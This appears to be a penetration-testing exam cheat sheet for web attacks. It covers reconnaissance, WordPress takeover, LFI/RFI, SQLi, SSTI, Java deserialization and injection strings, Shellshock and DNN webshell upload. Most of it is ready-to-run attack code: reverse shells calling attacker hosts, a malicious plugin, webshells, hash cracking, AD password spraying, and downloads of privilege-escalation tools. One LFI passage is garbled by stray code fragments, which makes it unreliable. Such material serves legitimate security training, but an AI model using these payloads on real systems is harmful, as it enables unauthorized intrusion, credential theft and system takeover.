Web Attacks Reference
Reconnaissance and Directory Discovery
Run in parallel the moment you find a web port:
# Quick hits + common files
gobuster dir -u http://$ip -w /usr/share/seclists/Discovery/Web-Content/quickhits.txt -t 50
# Standard directory bust
ffuf -ac -t 60 -u http://$ip/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
# CRITICAL: ALSO run with raft-large directories AND case-variant wordlists
# Lowercase-only wordlists MISS files like /CHANGELOG, /README, /API, /Admin
ffuf -ac -t 60 -u http://$ip/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt
ffuf -ac -t 60 -u http://$ip/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-large-files.txt
# Virtual host discovery (if domain known)
ffuf -u http://$ip/ -H "Host: FUZZ.<domain>" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -fs <default_size>
Wordlist priority order (run all of these on standalone web targets):
raft-medium-directories.txt— fast first passraft-large-directories.txt— case-mixed, catches/CHANGELOG,/Admin,/APIraft-large-files.txt— extension-awaredirectory-list-2.3-medium.txt— dirbuster classiccommon.txt— last resort backup
ALWAYS try common dev/info files manually (case-sensitive):
for path in CHANGELOG README LICENSE VERSION TODO NOTES changelog readme; do
curl -sI "http://$ip/$path" | head -1
done
Employee names for AD username enumeration:
username-anarchy --input-file fullnames.txt --select-format first,flast,first.last,firstlast > usernames.txt
Always check manually:
curl http://$ip/robots.txt
curl http://$ip/sitemap.xml
curl http://$ip/.git/HEAD
curl http://$ip/web.config
curl http://$ip/.env
curl http://$ip/wp-config.php.bak
curl http://$ip/phpinfo.php
View page source on every page — look for HTML comments with creds/paths, hidden form fields, JS files with API endpoints, version numbers, admin panel links.
POST vs GET
If GET returns an error or empty response, try POST:
curl http://$ip:PORT/endpoint
curl -d "" -X POST http://$ip:PORT/endpoint
curl -d "" -X POST -H "Content-Type: application/x-www-form-urlencoded" http://$ip:PORT/endpoint
# GET requests
curl http://$TARGET:<port>/
curl http://$TARGET:33333/<endpoint>
# POST requests
curl -s -i -X POST -H 'Content-Length: 0' http://$TARGET:<port>/<endpoint>
Lesson: A high-port API (e.g. 33333) returned nothing on GET. A POST with a content-length header revealed a process list containing hardcoded credentials — always try POST when GET looks empty.
LFI → RCE reverse shells (through a known/uploaded PHP shell)
# bash reverse shell through the shell's cmd parameter
curl -sG "http://$TARGET/index.php" \
--data-urlencode "file=simple_shell.php" \
--data-urlencode "cmd=bash -c 'bash -i >& /dev/tcp/$KALI/443 0>&1'"
# python3 reverse shell
curl -sG "http://$TARGET/index.php" \
--data-urlencode "file=simple_shell.php" \
--data-urlencode "cmd=python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect((\"$KALI\",443));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/bash\",\"-i\"])'"
# mkfifo reverse shell
curl -sG "http://$TARGET/index.php" \
--data-urlencode "file=simple_shell.php" \
--data-urlencode "cmd=rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc $KALI 443 >/tmp/f"
Finding the egress port — if outbound is filtered, probe which port can reach you, then fire the shell on that port:
# 1. Listen on Kali for probes
sudo tcpdump -ni tun0 "tcp and host $TARGET and (port 443 or port 80 or port 53)"
# 2. Fire timeout probes to common egress ports (whichever shows a SYN in tcpdump is open)
curl -sG 'http://$TARGET/index.php?file=....//....//....//<path>/simpleshell.php' --data-urlencode 'cmd=timeout 3 bash -c "echo x > /dev/tcp/$KALI/443"'
curl -sG 'http://$TARGET/index.php?file=....//....//....//<path>/simpleshell.php' --data-urlencode 'cmd=timeout 3 bash -c "echo x > /dev/tcp/$KALI/80"'
# 3. Base64-encode the reverse shell and fire it on the working port
echo -n 'bash -i >& /dev/tcp/$KALI/443 0>&1' | base64
rlwrap nc -lvnp 443
CMS Identification and Exploitation
wpscan --url http://$ip --enumerate p --plugins-detection aggressive
droopescan scan drupal -u http://$ip
joomscan --url http://$ip
For any CMS: searchsploit <CMS> <version> → unauthenticated exploits first.
WordPress Exploitation
WordPress → wp-config.php → MySQL → dump hashes → crack → spray into AD
Phase 0 — Add Hostname to /etc/hosts
# WordPress often redirects to a hostname — map it so links/wp-json resolve
echo "$ip wordpress.local" | sudo tee -a /etc/hosts
Phase 1 — WPScan Enumeration
wpscan --url http://TARGET --enumerate p,t,u --plugins-detection aggressive
curl http://TARGET/wp-json/wp/v2/users
Phase 2 — Brute-Force WordPress Login
wpscan --url http://TARGET --password-attack xmlrpc -U admin -P /path/to/wordlist -t 30
Phase 3 — WordPress Admin → Shell (5 methods)
Method 1: Theme Editor (404.php) → http://TARGET/wp-content/themes/THEME_NAME/404.php
Method 2: Malicious Plugin Upload
<?php
/**
* Plugin Name: Starter Plugin
* Version: 1.0
*/
exec("/bin/bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'");
?>
zip revshell.zip revshell.php → Plugins → Add New → Upload → Activate
Method 3: Metasploit → exploit/unix/webapp/wp_admin_shell_upload
Method 4: Plugin Editor → edit existing plugin PHP file
Method 5: Quick webshell
<?php if(isset($_REQUEST["cmd"])){ echo "<pre>"; system($_REQUEST["cmd"]); echo "</pre>"; die; } ?>
Phase 4 — wp-config.php → MySQL → Credential Dump
cat /var/www/html/wp-config.php
Phase 5 — MySQL Database Exploitation
mysql -u DB_USER -p'DB_PASS' -h localhost DB_NAME
SELECT user_login, user_pass FROM wp_users;
SELECT concat_ws(':', user_login, user_pass) FROM wp_users;
Phase 6 — Crack WordPress Hashes
hashcat -m 400 hashes.txt /usr/share/wordlists/rockyou.txt
john --format=phpass hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt
Phase 7 — Spray into AD
nxc smb DC_IP -u userlist.txt -p 'wordpress_password' --continue-on-success
nxc winrm DC_IP -u username -p 'cracked_wp_hash'
Authentication Testing
Try on every login: admin:admin, admin:password, admin:Password1, root:root, tomcat:s3cret, postgres:postgres, sa:sa, Company2024!
SQLi
Covers: detection checklist (7 tests), auth bypass, error-based (MySQL/MSSQL/PostgreSQL), UNION-based (all DBs), stacked queries → xp_cmdshell RCE, blind boolean + time-based, Python extraction scripts, INTO OUTFILE webshells, WAF bypass.
On MSSQL (IIS + ASP.NET)? Test stacked queries FIRST:
'; WAITFOR DELAY '0:0:5'--→ if it delays, go straight to xp_cmdshell. Don’t waste time on UNION.
LFI
Test payloads:
?page=../../../etc/passwd
?page=....//....//....//etc/passwd
?page=..%2f..%2f..%2fetc%2fpasswd
curl -s "http://target/index.php?file=....//....//....//etc/passwd"
?page=php://filter/convert.base64-encode/resource=index.php
?page=php:
?page=data://text/plain,<?php system('id'); ?>
Windows LFI paths:
?page=C:/windows/system32/drivers/etc/hosts
?page=C:/inetpub/wwwroot/web.config
?page=C:/xampp/apache/conf/httpd.conf
What to READ via Windows LFI (prioritized):
C:/xampp/htdocs/dashboard/phpinfo.phpC:/xampp/apache/conf/httpd.conf
C:/xampp/php/php.ini
C:/xampp/phpMyAdmin/config.inc.php
C:/xampp/tomcat/conf/tomcat-users.xml
C:/inetpub/wwwroot/web.config
C:/windows/system32/drivers/etc/hosts
C:/xampp/htdocs/wp-config.php
Web Root Locations
| Web Server | OS | Default Web Root |
|---|---|---|
| Apache (XAMPP) | Windows | C:\xampp\htdocs\ |
| Apache | Linux | /var/www/html/ |
| IIS | Windows | ‘C:\inetpub\wwwroot\’ |
| nginx | Linux | /var/www/html/ |
| Tomcat | Any | webapps/ |
LFI → RCE
Log poisoning: Inject <?php system($_GET['cmd']); ?> in User-Agent → include /var/log/apache2/access.log
PHP wrappers:
?page=php://input (POST: <?php system('bash -i >& /dev/tcp/ATTACKER/4444 0>&1'); ?>)
?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7Pz4=&cmd=whoami
Write shell + include via LFI (when you have SSH or any shell on the box): If you already have a low-priv shell AND find LFI on a localhost service, write a PHP webshell then include it: " + chr(96)*3 + “bash
Write webshell to a writable directory
echo " + chr(39) + “” + chr(39) + " > /dev/shm/shell.php
Include it via LFI
curl “http://127.0.0.1:8000/backend/?view=../../../../../dev/shm/shell.php&cmd=id” " + chr(96)*3 + " Writable directories to try (in order):
/dev/shm— shared memory, world-writable, no noexec (BEST)/var/tmp— persists across reboots/tmp— sometimes has noexec mount, try last/run/shm— alias for /dev/shm on some distros
RFI (if allow_url_include=On)
?page=http://ATTACKER/shell.php
Command Injection
; whoami
| whoami
|| whoami
&& whoami
`whoami`
$(whoami)
%0a whoami
Blind: ; ping -c 3 ATTACKER_IP → sudo tcpdump -i tun0 icmp
File Upload
Try in order: correct extension → alternate extensions (.phtml, .php5) → double extension (shell.php.jpg) → null byte (shell.php%00.jpg) → Content-Type spoof → magic bytes (GIF89a) → .htaccess trick → case variation → IIS tricks (shell.asp;.jpg)
Minimal shells:
<?php system($_GET['cmd']); ?>
<% Set o = Server.CreateObject("WSCRIPT.SHELL") : Set x = o.exec("cmd /c " & Request("cmd")) : Response.Write x.StdOut.ReadAll %>
SSTI
Detect: ${{ <%[%'"}}%\ then {{7*7}} → 49 = Jinja2/Twig, ${7*7} → FreeMarker
Jinja2 RCE:
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}
Twig RCE:
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id")}}
Java Backend RCE (Tomcat / Spring / JBoss / Struts)
Indicators a backend is Java:
- nmap shows
Apache Tomcat,Jetty,JBoss,WebLogic - nmap favicon line:
Spring Java Framework - HTTP headers:
X-Powered-By: Servlet,Server: Apache-Coyote - Cookie:
JSESSIONID - Response
Content-Type: text/plain;charset=UTF-8from API endpoints (Tomcat default) - File extensions
.jsp,.do,.action
Fuzz list — paste each into reflected params, headers, User-Agent, Cookie. Watch for DNS callback OR sleep/delay:
${jndi:ldap://CALLBACK/x} # Log4Shell - CVE-2021-44228
${jndi:dns://CALLBACK} # Log4Shell variant
${dns:address|CALLBACK} # Text4Shell - CVE-2022-42889
${url:UTF-8:http://CALLBACK/} # Text4Shell variant
${script:javascript:java.lang.Runtime.getRuntime().exec("sleep 10")} # Text4Shell visible
T(java.lang.Runtime).getRuntime().exec("sleep 10") # Spring SpEL
%{(#cmd='id').(@java.lang.Runtime@getRuntime().exec(#cmd))} # Struts2 OGNL - CVE-2017-5638
class.module.classLoader.URLs[0]= # Spring4Shell - CVE-2022-22965
If a payload triggers (delay/callback) → look up full RCE syntax in:
- HackTricks: book.hacktricks.wiki (Java RCE / Tomcat / Spring pages)
- PayloadsAllTheThings: github.com/swisskyrepo/PayloadsAllTheThings (Java page)
Other Java entry points to check:
- Tomcat manager:
/manager/htmlwith default creds (tomcat:tomcat,admin:admin,tomcat:s3cret) → upload WAR - Spring Actuator:
/actuator,/actuator/env,/actuator/heapdump,/actuator/mappings - JBoss:
/jmx-console,/web-console,/invoker/JMXInvokerServlet
DNS callback setup (no internet during exam — local only):
# Listen for DNS lookups from target on tun0
sudo tcpdump -i tun0 -n 'port 53' -A
# Use your own Kali tun0 IP as the callback host in payloads.
# Works for ${dns:...} and ${url:...} probes that resolve hostnames.
# For ${jndi:ldap://...} you need an LDAP server (marshalsec) — different setup.
XXE
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<root>&xxe;</root>
Shellshock (CVE-2014-6271)
curl -H "User-Agent: () { :; }; echo; /usr/bin/id" http://$ip/cgi-bin/script.sh
curl -H "User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/ATTACKER/4444 0>&1" http://$ip/cgi-bin/script.sh
SSRF
?url=http://127.0.0.1:8080/admin
?url=http://169.254.169.254/latest/meta-data/
?url=file:///etc/passwd
URL Query Parameters as Input
? starts the query string. http://target/?whoami = command after ?.
DotNetNuke (DNN) Exploitation
Recognition
- /Login page with DNN branding
- Portals/0/ in URLs
- HTTP response headers may mention DNN or DotNetNuke
- Default portals directory: /Portals/0/
Default Credentials
admin : password host : dnnhost Try these at /Login before anything else.
If default creds changed: MSSQL password update
SELECT * FROM dbo.aspnet_Membership; – Update password via SQL if needed (tricky due to salt+PBKDF2) – Easier: check HostSettings table for admin lockout status
Post-Auth Exploit: File Upload Extension Bypass
DNN blocks .aspx by default. To upload aspx webshell:
- Login as admin at /Login
- Go to Persona Bar → Settings → Security → More → More Security Settings
- Find ‘Allowable File Extensions’ (HostSettings table, SettingName=‘FileExtensions’)
- Add ‘aspx’ to the comma-separated list
- Save
UPDATE HostSettings SET SettingValue = ‘bmp,gif,ico,jpeg,jpg,jpe,png,svg,aspx,asp,ashx’ WHERE SettingName = ‘FileExtensions’;
Upload Webshell
- Admin → File Management → upload cmdasp.aspx
- OR Persona Bar → File Management
Access Webshell
http://TARGET/Portals/0/cmdasp.aspx
Portal ID 0 is the default portal’s upload root. Other portals land at /Portals/1/ etc.
Privesc from Webshell
IIS AppPool identity has SeImpersonatePrivilege. GodPotato or PrintSpoofer for SYSTEM.
whoami /priv
# Download tools
powershell -c "iwr http://KALI/GodPotato-NET4.exe -o C:\Windows\Temp\gp.exe"
powershell -c "iwr http://KALI/nc.exe -o C:\Windows\Temp\nc.exe"
# Listener on Kali
C:\Windows\Temp\gp.exe -cmd "C:\Windows\Temp\nc.exe KALI 4444 -e cmd.exe"
- Typical chain: default creds at /Login → aspx extension-allowlist bypass → webshell → SeImpersonate privesc (GodPotato/PrintSpoofer) → SYSTEM